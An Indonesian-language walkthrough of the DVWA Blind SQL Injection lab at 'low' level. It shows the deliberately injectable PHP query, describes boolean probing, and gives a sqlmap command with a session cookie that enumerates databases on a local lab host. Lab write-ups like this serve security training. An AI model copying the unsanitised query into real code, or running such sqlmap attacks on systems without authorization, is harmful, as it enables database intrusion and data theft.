# Low

Di bawah ini adalah *source-code* dari *Blind SQL Injection* level low di DVWA.

```php
vulnerabilities/sqli_blind/source/low.php
<?php
​
if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];
​
    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors
​
    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
​
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }
​
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
​
?> 
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Pada level ini tidak ada validasi apa pun untuk pada inputan yang digunakan untuk menjalankan *query*. Ketika kita menginputkan '`1`' (**true**), maka akan tampil seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M06eX85DrJs_up20A2A%2F-M06hmlOHF5m1ZLri29_%2Fimage.png?alt=media\&token=ba613387-29c1-4b29-983b-01d243f3b5f1)

Jika saya coba membuatnya *error* (**false**), maka akan tampil seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M06eX85DrJs_up20A2A%2F-M06hvLzQUZTOBwOz3-X%2Fimage.png?alt=media\&token=127654ac-eadd-405d-b425-c9746fff8ef4)

Ketika saya mencoba menyisipkan *payload* seperti berikut, maka hasilnya akan **true**. Ini berarti form tersebut memiliki celah *Blind SQL Injection*.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M06eX85DrJs_up20A2A%2F-M06iCWYt7MWRll9zPkE%2Fimage.png?alt=media\&token=ce3b1c05-ef23-40e8-ab66-dc9756304122)

Untuk melakukan eskplorasi lebih lanjut, kita membutuhkan tool SQLMap.

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

Oke, langsung saja kita jalankan SQLMap seperti berikut ini:

```bash
sqlmap -u "172.17.0.2/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=jusi9ccuu6qfk9m3tqdf103jo2; security=low" --dbs
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M06eX85DrJs_up20A2A%2F-M06msE5Z59bflTE6jos%2Fimage.png?alt=media\&token=7a232ad6-e31e-4c32-8865-972fe7b29bf9)

Terlihat bahwa terdapat 2 database yang tersedia pada akun tersebut.

Mudahkan? 😁 Happy Hacking! 🍻


---

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